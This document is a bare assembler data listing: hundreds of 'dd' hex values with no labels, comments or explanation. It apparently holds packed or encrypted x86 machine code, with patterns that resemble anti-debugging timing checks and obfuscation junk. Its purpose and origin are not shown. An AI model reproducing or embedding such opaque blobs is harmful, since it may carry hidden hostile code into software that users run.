		dd 8B060B0Eh, 0FC00B03h, 784h, 8B038B00h, 1889045Bh, 4B41B8h
		dd 0FDED5500h, 0F67A5E75h, 0E669A476h, 0FD49BC56h, 0FD20A7EAh
		dd 0FD208948h, 0FD209989h, 0FD2013EFh, 0FD20D6D9h, 0FD2034B7h
		dd 0FD20459Ch, 0FD20FC7Dh, 0FD20A068h, 0FD208E97h, 0FD209E6Ch
		dd 0FD2015C1h, 0FD20D722h, 0FD203503h, 0FD2044ECh, 0FD20FBA8h
		dd 0FD20A7FCh, 358A259Dh, 0D6A22295h, 0DE714A76h, 0F44BBD5Ch
		dd 0FD7A5A5Ch, 0F5722775h, 0FD799775h, 0FD78CB74h, 0F57DED73h
		dd 0FC7BF374h, 0FC7B7874h, 0FD7ABC75h, 0FD7A5E75h, 0A769B276h
		dd 0A7695A75h, 0FD7ACB75h, 0FC7BE475h, 0FC7BF374h, 0F8B29074h
		dd 701ABC75h, 0ECD1BBF0h, 0E1FFA673h, 707C86DDh, 0ECD130F0h
		dd 21FF6C73h, 707CE3D2h, 0ECD640F0h, 0E5FF3573h, 707C4FDDh
		dd 0ECD1B6F0h, 1DFF1E73h, 707CDAD2h, 0ECD1BDF0h, 19FF7B73h
		dd 707C68D2h, 0ECD34AF0h, 15FFD773h, 707C3ED2h,	0ECD09FF0h
		dd 11FF4273h, 707CF4D2h, 0ECD0ECF0h, 0DFFF073h,	707CADD2h
		dd 0ECD027F0h, 1FFA673h, 707C86D2h, 0ECD08EF0h,	9FF6C73h
		dd 707CE3D2h, 0ECD01DF0h, 5FF3573h, 707C4FD2h, 0ECD056F0h
		dd 1FF1E73h, 707CDAD2h,	0ECD056F0h, 0F1FF7B73h,	707C68DDh
		dd 0ECD06EF0h, 0EDFFD773h, 707C3EDDh, 0ECD062F0h, 0E9FF4273h
		dd 707CF4DDh, 0ECD1CCF0h, 0FDFFF073h, 707CADDDh, 0ECD12BF0h
		dd 0F9FFA673h, 707C86DDh, 0ECD6DBF0h, 0F5FF6C73h, 767CE3DDh
		dd 0F678C8F0h, 0A8FF3573h, 767C4FDDh, 0F66DF2F0h, 0A4FF1E73h
		dd 9C7CDADDh, 11F1B0B6h, 0FD7AF29Dh, 17FB2375h,	0FB6B151Ch
		dd 0F53FD525h, 552EADFDh, 34229164h, 0AC7ACFB7h, 0AD29B723h
		dd 0FD7A1A20h, 7C277975h, 0ECD33698h, 26FFA073h, 7D7C3ED2h
		dd 0ECDD4CC8h, 0B409CF73h, 4B75E4C5h, 89BAF9B5h, 0A4EF8635h
		dd 0BD7CADDDh, 452B96FEh, 0FD7A2F7Ah, 5523028Ah, 48F7CD64h
		dd 0FB6B42A9h, 50FCC6F8h, 0FD7E4B9Dh, 456FCF75h, 0FD7A5E76h
		dd 5523BA8Ah, 48F79164h, 0FB6B6CA9h, 50FCD1F8h,	1F23228Ah
		dd 26F787BCh, 0A07CADD2h, 0A320052Dh, 6D92EC2Ch, 4D7A9777h
		dd 5779C1CDh, 552F708Ah, 3ED1F464h, 0FD78079Dh,	9BC2DA75h
		dd 9B5954CDh, 0A8EFD0DEh, 9B7C86DDh, 959208DEh,	0B7AE577h
		dd 8872F336h, 0A8EF866Eh, 4D7CADDDh, 0AD7954C5h, 552FBA8Ah
		dd 9B209164h, 9B7E2BF6h, 561C277Eh, 0FF6B1AB6h,	15297975h
		dd 0FD7ABE4Eh, 89A0652Fh, 3D59A57Bh, 0DF709491h, 4DBA07F5h
		dd 3ED183FEh, 0FD7B009Dh, 0E1922A75h, 0A77ABC77h, 120E844Eh
		dd 16D049C5h, 0FCA77FA9h, 0BE8CCB75h, 0D30FED74h, 0FF7B1A26h
		dd 0B207975h, 8872BD36h, 89A06554h, 3D59A568h, 0DF709491h
		dd 4DBA07F5h, 6885B5FFh, 0FB6B5A20h, 0FD5F1F2Fh, 3F71DA51h
		dd 4DB9F513h, 0BD9285E9h, 4D7A9774h, 359261F4h,	157AE574h
		dd 0FD7AF22Dh, 0FC5791DEh, 60CABC75h, 61CA9DDFh, 0FC5BC7DFh
		dd 451C9775h, 561C4A13h, 0FD7B439Dh, 0FD4C1A75h, 561C7975h
		dd 0FD7BB69Dh, 57E7EE75h, 57E69FB6h, 0FD7A699Dh, 0FCF32375h
		dd 0BE8CE575h, 0F20FFA74h, 15D0F9C5h, 0FD7ABC65h, 0F99EDEDFh
		dd 1584487Dh, 0FD7A97AAh, 3ED056C5h, 0FD7AE2CDh, 0A4EF0D75h
		dd 707C68DDh, 0ECD29CC0h, 518A5D73h, 2D02C7Fh, 0ECD2C2E0h
		dd 0E5920873h, 4D7AE574h, 5779F825h, 2844B9Dh, 0FC43548Ah
		dd 0A5CA5E75h, 3ED02C7Fh, 4DD0C7C5h, 0E1926127h, 9B851A8Bh
		dd 9B4BFDCDh, 36B91DEh,	0A7CA438Ah, 5722EEDFh, 57929FB6h
		dd 0C923C22h, 0A77ACB75h, 3F5122FEh, 747E1AF6h,	8B9177h
		dd 592438Ah, 4D7A5E75h,	5779252Dh, 2FFF69B6h, 7D7CDAD2h
		dd 0ECDD37C8h, 0EC0FF373h, 553EFCF8h, 152ABA64h, 0FD7A5C61h
		dd 0FD781B9Dh, 571A2775h, 287759Dh, 0C30D8Ah, 9CCA0D8Ah
		dd 2FF787DFh, 7D7CADD2h, 0ECDD8CC8h, 0F10F2F73h, 553E12F8h
		dd 152ACD64h, 0FD7AE4DEh, 0FD7E4AB6h, 68857975h, 0FB6B142Ch
		dd 51DBC3F8h, 0F9F02964h, 4DB93D6Dh, 562D619Ch,	0FD7A8E9Dh
		dd 3AF1A875h, 15F9BB5Eh, 3E783571h, 552FCB8Ah, 4ACE2964h
		dd 0FF0E9651h, 0F2CA74C1h, 0C9924E13h, 0AE7AF275h, 0FD7A279Dh
		dd 0FEF0E675h, 0F179BEB5h, 577825B5h, 0A8EF68B6h, 7D7CDADDh
		dd 39FAEA91h, 9B7542F5h, 15D12EDEh, 285415Ah, 0D6BDD52Fh
		dd 0F992ACB7h, 45B995FCh, 0FD7ACB73h, 5523708Ah, 60F7F464h
		dd 0FB6BD14Dh, 3E39A0F8h, 0FD7A4ECDh, 0A4EFD075h, 7E7C86DDh
		dd 35F1CEB5h, 0A8EF1A89h, 577CE3DDh, 15B98E97h,	28543BEh
		dd 0D97B1DFFh, 778E5A72h, 0FC6C7F76h, 1608CB75h, 8831DB6h
		dd 11F1A789h, 9D86BDF6h, 0FD7ABC9Dh, 17FB0475h,	0FB6B83C4h
		dd 7D86EAFCh, 0ECD29FCFh, 7975E573h, 0FD7AF2ECh, 0FD7A73CDh
		dd 0A4E84375h, 0BD7C4FDDh, 5527ADFCh, 35F19164h, 50FF79F8h
		dd 6F85E364h, 0FB6B5A20h, 1F3C7FFDh, 0FD6D0480h, 7F795E75h
		dd 0FB6B8728h, 84E01A35h, 7E7CDAD8h, 0FEF3E1B6h, 0FD644B22h
		dd 77797975h, 0FB6B1428h, 501DECF8h, 59892964h,	0FD722F2Bh
		dd 6F85CB75h, 0FB6B4D2Ch, 897E0AF6h, 447C7185h,	0FD7ABC72h
		dd 0F24B5A7Dh, 1EBBF7C3h, 0FD742E76h, 0E172CB75h, 0FD765C44h
		dd 0F972F275h, 0FD61C044h, 0F972BC75h, 0FD66E744h, 0F9722F75h
		dd 15B7F44h, 80F3348Ah,	80F18489h, 0ADB93B89h, 0FD7A7F9Dh
		dd 2229C75h, 0A58E7A11h, 55E6BFCh, 0D93E16E9h, 0C92CB389h
		dd 0AD3A7867h, 0FD7AF2B6h, 0FD7A7975h, 0A87ABC75h, 151AB2FEh
		dd 0FD7A2F75h, 6590162Fh, 707CDAD8h, 0ECD284CFh, 0F50F7973h
		dd 0FD7A71CCh, 9CDE4F75h, 0FD7E9CBCh, 9CE7A226h, 7D7C86DDh
		dd 887BD349h, 1683BE71h, 3E82A977h, 9D96F220h, 0FD7ABC9Dh
		dd 17FB0475h, 0FB6B82A4h, 551B25F8h, 80F1CD64h,	0FD725C7Dh
		dd 5989F275h, 0F9B8B014h, 40F7DC75h, 0FB6BF614h, 0F5C3EF46h
		dd 0E7A9775h, 9DB9AADFh, 551B58F8h, 0C2FBF464h,	0FC7B7874h
		dd 82FBB000h, 0FC7B5F71h, 4795A74h, 9C82969Eh, 40F7ABB6h
		dd 0FB6B4D14h, 0FD7AF3CDh, 0FD72C075h, 5789BC75h, 3DF19D14h
		dd 78F7EFFEh, 0FB6B3F1Bh, 0CA8BD08Ah, 0AF238D8Dh, 6A0611h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
		dd 97BD34C3h, 0E29511FFh, 0FCC864Eh, 1987h, 14E900h, 918C0000h
		dd 703FC36h, 0EA4658Dh,	907C7639h, 4A4A6CB7h, 0CE92E58h
		dd 0E000000h, 0BCA117Ah, 0A17D0958h, 891F7C13h,	0B174D8Dh
		dd 1985C706h, 0C0060B01h, 6A00005Ch, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 0E404C355h
		dd 6F1858Bh, 11E9060Bh,	53000000h, 0CAEDC7C6h, 51AFB01Fh
		dd 0F2EB7B4Eh, 0DC6A45CEh, 100985C7h, 60Bh, 0BE90000h
		dd 66000000h, 43054919h, 13955837h, 0B5FF3510h,	60B0105h
		dd 16718589h, 95FF060Bh, 60B0AC5h, 0B7F0DA81h, 8D015DBEh
		dd 60B0425h, 95FF006Ah,	60B32DDh, 2CEBC08Bh, 1C3F3210h
		dd 674D512Ch, 8DD0E181h, 646A7D88h, 0EEFEDE02h,	1080D584h
		dd 7813BD18h, 0BA6B39CDh, 210767A3h, 377C6BABh,	381B886Bh
		dd 7E8h, 0FDBF7B00h, 10786099h,	8E9h, 474AC300h, 24867633h
		dd 81665A46h, 817AEBDEh, 5F94C2h, 7E800h, 31610000h, 66A5DC94h
		dd 199D335Eh, 5E060B21h
		dd 17B7B8h, 92E1B900h, 3A8B26A0h, 0FEB70F60h, 38A0Fh, 0E8800000h
		dd 0C781616Ah, 6760CA61h, 81FCC580h, 1E01BDC7h,	0CC03B920h
		dd 0F7811D9Dh, 65507222h, 0E059D89h, 8957060Bh,	0B09959Dh
		dd 0F028F06h, 8Dh, 4EA8300h, 0C398589h,	0E883060Bh, 0F850F01h
		dd 0E9000000h, 29h, 14428D92h, 0E4ED9185h, 8C0FF8E9h, 6
		dd 1998D03h, 8FE9060Bh,	5BFFFFFFh, 0B98F1C90h, 29682F6h
		dd 6D482528h, 2AE9E4h, 4C70000h, 24h, 0E800h, 815D0000h
		dd 11B026EDh, 24448B06h, 55858904h, 0B8060B06h,	0
		dd 4DD78D8Dh, 0E1FF060Bh, 6754B8h, 59D8D00h, 0B8060B33h
		dd 1434h, 22A58589h, 0E8060Bh, 58000000h, 0D05h, 0E9038900h
		dd 1434h, 50Dh dup(0)
		dd 16EBh, 4 dup(0)
		dd 1010000h, 3E4h, 6A0611h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1D0424h, 52420000h, 5C0D3FC3h, 0DF7E0FE2h
		dd 8BC1230Ah, 0B2D7D95h, 0D7BA6606h, 0BF669095h, 0BB50F97Fh
		dd 26515C32h, 6A24B390h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1D04h, 0C3514100h, 0D81A1012h, 1D041811h
		dd 10E9E7E9h, 0EF000000h, 649CF6EBh, 9BE62A0Ch,	126ADB9Ch
		dd 6A581D2Dh, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1C04h, 0C3514100h, 2D190201h, 6B94A612h, 298D8B17h
		dd 8B060B0Dh, 0B1AAD95h, 42858D06h, 6A0611C6h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h
		dd 63F5C353h, 4B3A79F3h, 0CDB8D251h, 0EE9h, 0C9A8B400h
		dd 781F0257h, 83FDD9B9h, 0FAB40C7h, 689h, 0D5B52900h, 0F5060B2Eh
		dd 8B525050h, 66310FD0h, 585AD18Bh, 89240489h, 0B0CD985h
		dd 6A006A06h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 18042444h, 47000000h, 9B3DC357h, 0E948318Dh,	0Fh, 18D4843Fh
		dd 34567571h, 7B9719FCh, 0E811DDA2h, 7,	0F09435CEh, 5B552A15h
		dd 6A006Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h
		dd 57470000h, 5EF713C3h, 6CD62C0Bh, 95FFD68Bh, 60B2F21h
		dd 58E971B5h, 0F000006h, 0E8CBBFh, 5D000000h, 0C647ED81h
		dd 6A0611h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h
		dd 57470000h, 0F44B9C3h, 0C88h,	68A0F00h, 29000000h, 0B2ED58Dh
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1D04h
		dd 0C3514100h, 7B027D5h, 846DE890h, 9D2B8C82h, 60B2E25h
		dd 2F39BB66h, 4E8h, 0FA000h, 8B566000h,	57515ECEh, 50615E5Ah
		dd 0A6A4BB66h, 424448Bh, 7E9h, 886DA400h, 79D3FE5Dh, 0D38B008Bh
		dd 4244489h, 8B665250h,	60310FD8h, 0DA8BD58Ah, 58585A61h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 76C35343h
		dd 0A1144EE0h, 95FFF984h, 60B32DDh, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Bh, 0FC35747h, 0C23C4143h, 8D0BEF7Bh
		dd 11C4A2B5h, 0FA3EBB06h, 6C72FDAh, 6D676552h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 48C35040h, 0F0FE2825h
		dd 66AF7E5Fh, 56DAEA81h, 6F0446C7h, 666C636Eh, 0C748A0BAh
		dd 73610846h, 6A0073h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1D0424h, 50400000h, 0A6CB3AC3h, 7D91F5B3h, 6A178DF9h
		dd 0A2858D00h, 0E80611C4h, 9, 0C409E118h, 3BFBA081h, 618D8BFEh
		dd 5B060B23h, 8B525050h, 50310FD3h, 56A6BF66h, 89585A5Ah
		dd 6A2404h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h
		dd 51410000h, 62C4D4C3h, 0FE8BBF18h, 1F718529h,	8589060Bh
		dd 60B1A59h, 0EE595FFh,	6A060Bh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 180424h, 52420000h, 3B0DECC3h, 295148D8h
		dd 0B33819Dh, 0F9B55F06h, 840FC00Bh, 4Ch, 27B59D8Bh, 0BD8B060Bh
		dd 60B15B5h, 42BE9h, 51006A00h,	3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1D04h, 0C3514100h, 8372A7D0h, 362662D2h
		dd 11E9302Bh, 5C000000h, 0FBD09F93h, 68A0988Bh,	4ED00CCAh
		dd 894FFB04h, 4E8h, 12C00h, 0DFBF5000h,	8B4B2C41h, 50042444h
		dd 2F9FBB52h, 310F7225h, 517D00B9h, 8B585A50h, 892BB700h
		dd 0BF042444h, 6845430Fh, 4DDB8058h, 32DD95FFh,	6A060Bh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
		dd 56F954C3h, 0B0F32C0h, 0B1AAD95h, 0A2B58D06h,	30611C4h
		dd 0B2F5D9Dh, 3106C706h, 0E8363438h, 0Bh, 5CB57CB1h, 0E3E7E8CAh
		dd 8162C3DBh, 61164ED2h, 46C75F54h, 342D3704h, 52006A31h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1904h, 0C3524200h
		dd 583351DAh, 46C760A1h, 8, 0CE800h, 91260000h,	43457188h
		dd 0DB188EF7h, 0F516AE6h, 85h, 8A5F5900h, 0F006AF4h, 688h
		dd 6D8D0300h, 66060B28h, 858DF98Bh, 611C4A2h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 19C35242h, 6875CBBFh
		dd 0AFBE4649h, 13E950h,	89900000h, 2ECDB777h, 5CA8F193h
		dd 0D59E604Fh, 9A1DE7A2h, 50905A12h, 9E8h, 57BE3E00h, 0B9631B21h
		dd 1DB37B62h, 90505959h, 11E960h, 0CD790000h, 0B0DD3B30h
		dd 0CE8C565Dh, 0B868CEFFh, 8B0AAF23h, 0B20BDBDh, 95FF6106h
		dd 60B0EE5h, 59BD8BF5h,	0B060B2Eh, 56840FC0h, 6A000000h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1C042444h
		dd 43000000h, 0CAABC353h, 0E5CB4FEDh, 800884C3h, 51E9FAC9h
		dd 6A000002h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1C042444h, 45000000h, 43B2C355h, 21409D3Ah, 31517F2Eh
		dd 0B12BDBDh, 1BF6806h,	8E0F9A90h, 14h,	0E810Fh, 9E90000h
		dd 91000000h, 0E386BFFEh, 20CC7768h, 6D240481h,	0FF656FFFh
		dd 0B32DD95h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1404h, 0C3574700h, 66C6B392h, 8D65ABBAh, 11C4A2B5h
		dd 0C7ABB606h, 6C694606h, 919D8965h, 0F060B29h,	586h, 7C77B900h
		dd 46C70DDFh, 6E6F6D04h, 38C0F63h, 0F000000h, 46C7F9B7h
		dd 73616C08h, 3D9D3373h, 0C7060B10h, 0C46h, 8D310000h
		dd 60B162Dh, 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1C0424h, 53430000h, 0D8EECAC3h, 0F8319D85h, 8B66613Dh
		dd 0A2858DD0h, 6A0611C4h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 15042444h, 47000000h, 27BCC357h, 487EBF66h
		dd 2A118589h, 6090060Bh, 5061DDB0h, 0D98B6660h,	6A9061h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
		dd 4BAFCAC3h, 0D14FD334h, 0FFE6C418h, 0B0EE595h, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1504h, 0C3534300h
		dd 8B60AD4Eh, 0E9958BD3h, 61060B23h, 840FC00Bh,	99h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 3EC35747h, 424CA399h
		dd 19840F1Dh, 0E9000000h, 14h, 0CA51F3BBh, 0FC85C14Bh
		dd 0F547EC78h, 7EB3A19Dh, 6F55F49Bh, 0F9BF0F60h, 0D840Fh
		dd 7E80000h, 27000000h,	0F8D12F87h, 6159AE5Dh, 75E963B1h
		dd 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 19042444h, 40000000h, 5DA5C350h, 624A14B9h, 14E9h, 0EA88A400h
		dd 0C087C210h, 0B0CDF93Dh, 6CDCCDEDh, 0DA817EF9h, 0FA00E905h
		dd 6AFFFFh, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h
		dd 50400000h, 21F7FCC3h, 8E83C3Bh, 0BA000000h, 0F31ACD6Bh
		dd 0B981A906h, 243DFBCEh, 0DF8B6659h, 7305B58Dh, 0BB66060Bh
		dd 0B8FCCCh, 0E9000000h, 6, 62F2F7B7h, 0E6FF3A06h, 8B84EB80h
		dd 3BE9C1h, 8B600000h, 0B14F1BDh, 4EF8306h, 0C18BC933h
		dd 0B88320BBh, 4C783EDh
		dd 8BEh, 1BE8D100h, 33D323D2h, 850F4EC2h, 0FFFFFFF1h, 81078941h
		dd 100F9h, 0D3820F00h, 61FFFFFFh, 0E8C88BC3h, 12h, 8F1F6F26h
		dd 0C8E72702h, 0EC866EEEh, 5B1ECCB5h, 8D8927CFh, 60B090Dh
		dd 12E959h, 17240000h, 62828A8Fh, 0D3353776h, 0E9E589FEh
		dd 0B0D2991Fh, 6A80C181h, 85890000h, 60B3281h, 5A2163B8h
		dd 6C0815Eh, 89A1A5F9h,	0B07C5BDh, 8B31FF06h, 0B22E99Dh
		dd 0BD8B5E06h, 60B05F5h, 9E49F681h, 952924AEh, 60B29B9h
		dd 0A4D0F681h, 0BD8B5937h, 60B0241h, 4CE5F681h,	8E93D9Ch
		dd 16000000h, 0DCF2103h, 8957B86Ch, 0DE831h, 0F0D0000h
		dd 45FF2B53h, 111BFFC1h, 0B6683879h, 0E9835AA6h, 850F4804h
		dd 18h,	0CA01F281h, 2DE91A34h, 29000000h, 48AEF3A2h, 0DA354CACh
		dd 0A1583351h, 68B0Fh, 0BD8B0000h, 60B2885h, 0FFFF7CE9h
		dd 0FDD15AFFh, 8008B3CBh, 3B8EB88Dh, 4A23A583h,	2DCACAFEh
		dd 0A5A9A80Bh, 32118A4Fh, 0D5ABA80Bh, 32E975EAh, 0BB57A80Bh
		dd 5DBA8A4Fh, 0BB0C57AEh, 33D98A4Fh, 0D5ABA80Bh, 33A075EAh
		dd 0B872A80Bh, 30228A4Fh, 0B8FCA80Bh, 30A48A4Fh, 0D5ABA80Bh
		dd 2F2575EAh, 3B9A43D4h, 60C00313h, 0A752B99Ch,	0B38AD390h
		dd 0ECD12157h, 2F439BD8h, 3B9B18D4h, 68C00313h,	0A752B99Ch
		dd 0B3958290h, 0F8D12157h, 2F439BD8h, 3B84F7D4h, 74C00313h
		dd 0A752B99Ch, 0B3953E90h, 0F4D12157h, 2F439BD8h, 3B8450D4h
		dd 40C00313h, 0A752B99Ch, 0B394CB90h, 0C0D12157h, 2F439BD8h
		dd 3B852AD4h, 4CC00313h, 0A752B99Ch, 0B3944990h, 0D8D12157h
		dd 2F439BD8h, 3B86ACD4h, 54C00313h, 0A752B99Ch,	0B397B790h
		dd 0D0D12157h, 0C3439BD8h, 2A5012B8h, 4ECEDF15h, 4AA86CD2h
		dd 0A2458AFDh, 0C0D5F251h, 0A45444B0h, 2AA8ED96h, 29458A15h
		dd 0E367A024h, 0ADBAB496h, 2A54A1D5h, 64C6CB15h, 0D5BA4155h
		dd 63CE75EAh, 3D893AAEh, 42848C1Eh, 2211AB53h, 5D55FFEAh
		dd 3AABA424h, 0C3B9CF9Ch, 0E3A8EDDAh, 0F74586D7h, 0EED744DAh
		dd 0D7CEEAE9h, 26292359h, 0A2B9CFD2h, 6C54A851h, 0A24162ADh
		dd 0EA660351h, 2FEE27BFh, 3BFDD7DBh, 12947513h,	0A0D90201h
		dd 0A454236Ah, 0A1EC79AEh, 941AE51h, 832B22DCh,	73BA8C04h
		dd 2ADF1037h, 28C82173h, 2C45012Eh, 2BFD5BEAh, 81508C15h
		dd 0B3A0098h, 0FBABAE40h, 89EFD2A5h, 57DDA42Ch,	0E7CEEBE9h
		dd 229661ADh, 4ECEDF15h, 4AA86CD2h, 0A2458AFDh,	0C0D5F251h
		dd 0A4544570h, 0A15CDDDAh, 0E7828668h, 2A54A8ADh, 30BACC15h
		dd 2C5FAAE0h, 69CE529Eh, 0B99783FCh, 31EFE2A5h,	0A0D9F9FAh
		dd 0A454236Ah, 9A0D79AEh, 1A232094h, 81328C55h,	0DF6E2184h
		dd 0D629215Dh, 5E000174h, 2A5C6A98h, 21A90140h,	0C2345495h
		dd 0A2458A15h, 96BE290Bh, 29439BDAh, 57DFA024h,	5E004D19h
		dd 2A54A851h, 13D77553h, 0A152A353h, 69CE19CDh,	0B9979BFCh
		dd 31EFE2A5h, 0A0D9F9FAh, 0A454236Ah, 9A0D79AEh, 1A232094h
		dd 81328C65h, 0DF6E2184h, 0D629215Dh, 5E000174h, 2A5C6A98h
		dd 21A90140h, 0A1345495h, 0DFCE8260h, 0D6116F5Dh, 0A2458A15h
		dd 0C9953BFDh, 9197B91Dh, 0F2DE0491h, 0A2454A38h, 0D5A82851h
		dd 0A25E0E1Ah, 23EDA851h, 55458A15h, 25862DA0h,	0A2458690h
		dd 32A32851h, 0AA8E4B73h, 4C972337h, 0AE38A1BEh, 4BA8D5D8h
		dd 6BB9CF9Eh, 7F54A093h, 66C6669Eh, 5FDFC8ADh, 0AE38011Dh
		dd 2AA8ED96h, 0E458A15h, 22B769C2h, 62765826h, 78C22FDh
		dd 0A2458AD5h, 25AB54D1h, 0A2459391h, 2A5D1151h, 53B28A15h
		dd 0AF5B7AD4h, 0A2458A1Fh, 0E25610E0h, 91EF4B93h, 577F0391h
		dd 5E380319h, 0D6112330h, 0A24D48DCh, 0A9B82304h, 292576D1h
		dd 57DFA024h, 5E004D19h, 2A54A851h, 229D00B9h, 0E1D4A7B2h
		dd 8860085h, 832B22DCh,	73BA8C04h, 0A7FEF8E1h, 0B3ECF59Fh
		dd 0A0855757h, 0DF6E20D6h, 0D629215Dh, 5E000174h, 2A5C6A98h
		dd 21A90140h, 0A1345495h, 0DFCE8260h, 0D6116F5Dh, 0A2458A15h
		dd 2A54AFE9h, 7FD77515h, 2652A346h, 28C82045h, 2C45012Eh
		dd 2BF55BEAh, 86949BFBh, 622E8531h, 8050AC59h, 89EFAEA5h
		dd 57DDA42Ch, 0E7CEEBE9h, 229661ADh, 4ECEDF15h,	4AA86CD2h
		dd 294DFF9Eh, 6F93A42Ch, 0A2458AE9h, 0D5FE0451h, 0A9473B87h
		dd 868C2357h, 2FEF4917h, 3BFDD7DBh, 0C4947513h,	4CBD28E9h
		dd 88600BEh, 0A358D57Ah, 29247668h, 0E89D5414h,	29108A1Dh
		dd 0D6902BBDh, 0AA300175h, 0ED58D5DAh, 0A2457650h, 80F8A851h
		dd 0A0F418EAh, 0E2DFAE5Ah, 88558B9h, 832B32DCh,	71BA8C04h
		dd 0E3941037h, 63CF2173h, 262983FBh, 0C3B9F79Ch, 0E3A8EDDAh
		dd 0F74582D7h, 0EED744DAh, 0D7CEEAE9h, 26292359h, 0A2B9CFD2h
		dd 8654A851h, 13D775BFh, 0A152A353h, 637726DDh,	55CE25FBh
		dd 5D439BBCh, 0AAECCE82h, 28EEECE4h, 577F0290h,	5E380319h
		dd 0D6112330h, 0A24D48DCh, 0A9B82304h, 292576D1h, 57DFA024h
		dd 5E004D19h, 2A54A851h, 6B773273h, 0B0D90337h,	0A454236Ah
		dd 92327BAEh, 9234B95h,	1FE04FDh, 0DFCC8668h, 6FDFC9ADh
		dd 0AA8743E9h, 0C6DFFD51h, 0C2B94E96h, 0A15CDDDAh, 0E7828668h
		dd 2A54A8ADh, 24FDEC15h, 0A7FFCEB8h, 0B3ECF58Fh, 9A875757h
		dd 0E0320A0h, 55CE25FBh, 5D439BBCh, 0ACECCE82h,	89EEECD8h
		dd 57DDA42Ch, 0E7CEEBE9h, 229661ADh, 4ECEDF15h,	4AA86CD2h
		dd 0A2458AFDh, 0C0D5F251h, 0A4545898h, 2AA8ED96h, 29458A15h
		dd 57DFA024h, 91792619h, 2A1E2C5Eh, 89798A15h, 2A162C5Eh
		dd 0CA798A15h, 2A492C5Eh, 13798A15h, 2A382C5Eh,	0F2798A15h
		dd 2A5C2A5Eh, 0FA798A15h, 2A6B2A5Eh, 0D6AC8A15h, 0D554A851h
		dd 0D7BA8660h, 0E8CE2559h, 0F1439BD8h, 0E4CD32DCh, 71BA8C04h
		dd 0C3A8EDD8h, 0A2458A42h, 0D558DDAEh, 38C88260h, 2C456583h
		dd 3BDF0746h, 0D552B99Fh, 5E0003C6h, 2A5492B8h,	0AE307515h
		dd 0A75CDDAEh, 0B388548Fh, 0B0D9FB57h, 0A454448Ch, 6FDD7BAEh
		dd 0A25863E9h, 5FABA851h, 0AA307519h, 0E7BE32DCh, 2F168C04h
		dd 3B9A31CBh, 2B967513h, 2ABD5414h, 0C3458A15h,	0E3A8EDDAh
		dd 0BA4582D7h, 3044h, 0D43F8D8Dh, 6A0611h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 170424h, 51410000h, 3D4B26C3h
		dd 99858942h, 66060B2Ah, 8969C7BAh, 0B174D8Dh, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1804h, 0C3514100h
		dd 8AC176F4h, 29858B24h, 0C7060B03h, 0B011985h,	5BBC06h
		dd 0C0BE6600h, 985C737h, 60B10h, 6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 606CC356h
		dd 0DF9958Bh, 0AE9060Bh, 0DE000000h, 0A4FE74EFh, 0C3B2F629h
		dd 0BD31616Bh, 60B2E71h, 1A31B5FFh, 850F060Bh, 0
		dd 0AC595FFh, 6A060Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1A0424h, 55450000h, 0EF73C7C3h, 0BEBD45F3h, 95FF006Ah
		dd 60B32DDh, 5DEBC08Bh,	8C63404Fh, 79F76425h, 8E91436h
		dd 512E1B66h, 3935253Fh, 10F4B8C3h, 75F39FECh, 4038A100h
		dd 0A24645F2h, 645E263Ah, 0B2E598B6h, 8551B4D0h, 0CC484ECCh
		dd 4C5AD703h, 5C60DDEBh, 5F134A87h, 0C3AAAA7Bh,	0F3133EA3h
		dd 0BD643B29h, 72737C47h, 0B0A35D17h, 172772E3h, 0BE1FD8B8h
		dd 0B1E946h, 2E780000h,	0D423CC17h, 82917EE5h, 237B944Fh
		dd 0D226C71Ch, 9AC170E3h, 0DD063943h, 0DD6EB30h, 0BAB994E0h
		dd 0D60D384Dh, 0DBAFC725h, 0ACC585C9h, 0D8DE67DDh, 32DB15F9h
		dd 0EC3740ECh, 941D0C78h, 5BBF83C3h, 256AFC67h,	0E1C56B4Fh
		dd 0C3D5C881h, 0F87ABC23h, 82676B2Ah, 0AA089064h, 72503C6Bh
		dd 0E53CAE1Bh, 10h, 4450BD0Fh, 1D1377FFh, 0AE94C394h, 0DEB9C4Ah
		dd 9FDD4DEh, 967A57A0h,	12E6D127h, 9B6F52ABh, 63D7EE32h
